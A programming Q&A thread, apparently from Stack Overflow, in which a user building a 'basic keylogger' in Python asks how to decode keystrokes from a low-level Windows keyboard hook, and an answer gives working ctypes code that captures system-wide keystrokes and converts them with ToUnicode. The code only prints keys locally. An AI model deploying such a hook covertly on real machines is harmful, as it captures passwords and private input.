2

I'm experimenting with hooking in python using the SetWindowsHookExA with a windows 10 system. I've got working code and its properly hooking in. but i'm unable to properly convert the response into a key.

I'm getting a 12 digit response and i'm not seeing anything on the documentation about it or how to convert it.

this code may be out dated, but i'm trying to just set up a basic keylogger without using the PyHook or PyWin32 libraries if possible.

Here is my code:

import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162

class KeyLogger:

    def __init__(self):
        self.lUser32 = user32
        self.hooked = None

    def installHookProc(self,pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True

    def uninstalHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def getFPTR(fn):
    CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))
    return CMPFUNC(fn)

def hookProc(nCode, wParam, lParam):
    if wParam is not WM_KEYDOWN:
        return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)
    # hookedKey = chr(lParam[0])
    # print("HookedKey=" + hookedKey + ", KeyCode=" + str(lParam[0]))
    print("Hooked Key: " + str(lParam[0]))
    if(CTRL_CODE == int(lParam[0])):
        print("Ctrl pressed, call uninstallHook()")
        KeyLogger.uninstallHookProc()
        sys.exit(-1)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

def startKeyLog():
    msg = MSG()
    user32.GetMessageA(byref(msg), 0, 0, 0)

KeyLogger = KeyLogger()
pointer = getFPTR(hookProc)
if KeyLogger.installHookProc(pointer):
    print("Hook installed")

startKeyLog()

Output is like this:

For key 'a': "Hooked Key: 128849018945" For key 'b': "Hooked Key: 206158430274" For key 'c': "Hooked Key: 197568495683"

any help with something i'm doing wrong with the code? or maybe i just don't know how to convert these values.

Thanks

Allen Huskins
  • 65
  • 2
  • 12

1 Answers1

3

The hook procedure sends raw keyboard information through LPARAM parameter. It's possible to convert that for ASCII character set, but this will fail for other character sets.

Instead, we have to obtain KBDLLHOOKSTRUCT structure from LPARAM, then use ToUnicode to convert the raw keyboard input to corresponding Unicode string. You may want to look at plain WinAPI example for clarity.

Python example:

import win32con
import ctypes
from ctypes import *
from ctypes.wintypes import DWORD

user32 = windll.user32
kernel32 = windll.kernel32

class KBDLLHOOKSTRUCT(Structure): _fields_=[
    ('vkCode',DWORD),
    ('scanCode',DWORD),
    ('flags',DWORD),
    ('time',DWORD),
    ('dwExtraInfo',DWORD)]

HOOKPROC = WINFUNCTYPE(HRESULT, c_int, ctypes.wintypes.WPARAM, ctypes.wintypes.LPARAM)

class KeyLogger:
    def __init__(self):
        self.lUser32 = user32
        self.hooked = None
    def installHookProc(self,pointer):
        self.hooked = self.lUser32.SetWindowsHookExA(
            win32con.WH_KEYBOARD_LL,
            pointer,
            kernel32.GetModuleHandleW(None),
            0
        )
        if not self.hooked:
            return False
        return True
    def uninstalHookProc(self):
        if self.hooked is None:
            return
        self.lUser32.UnhookWindowsHookEx(self.hooked)
        self.hooked = None

def hookProc(nCode, wParam, lParam):
    if user32.GetKeyState(win32con.VK_CONTROL) & 0x8000:
        print("\nCtrl pressed, call uninstallHook()")
        KeyLogger.uninstalHookProc()
        return 0
    if nCode == win32con.HC_ACTION and wParam == win32con.WM_KEYDOWN:
        kb = KBDLLHOOKSTRUCT.from_address(lParam)
        user32.GetKeyState(win32con.VK_SHIFT)
        user32.GetKeyState(win32con.VK_MENU)
        state = (ctypes.c_char * 256)()
        user32.GetKeyboardState(byref(state))
        str = create_unicode_buffer(8)
        n = user32.ToUnicode(kb.vkCode, kb.scanCode, state, str, 8 - 1, 0)
        if n > 0:
            if kb.vkCode == win32con.VK_RETURN:
                print()
            else:
                print(ctypes.wstring_at(str), end = "", flush = True)
    return user32.CallNextHookEx(KeyLogger.hooked, nCode, wParam, lParam)

KeyLogger = KeyLogger()
pointer = HOOKPROC(hookProc)
KeyLogger.installHookProc(pointer)
print("Hook installed")
msg = ctypes.wintypes.MSG()
user32.GetMessageA(byref(msg), 0, 0, 0) #wait for messages
Barmak Shemirani
  • 30,904
  • 6
  • 40
  • 77
  • This works perfectly! thank you so much! probably doesn't help that in my post i was using python 2.7.6 in order to follow with a book as i was looking at. and i'm able to use this in python 3.7.1. thank you! – Allen Huskins Dec 12 '18 at 08:31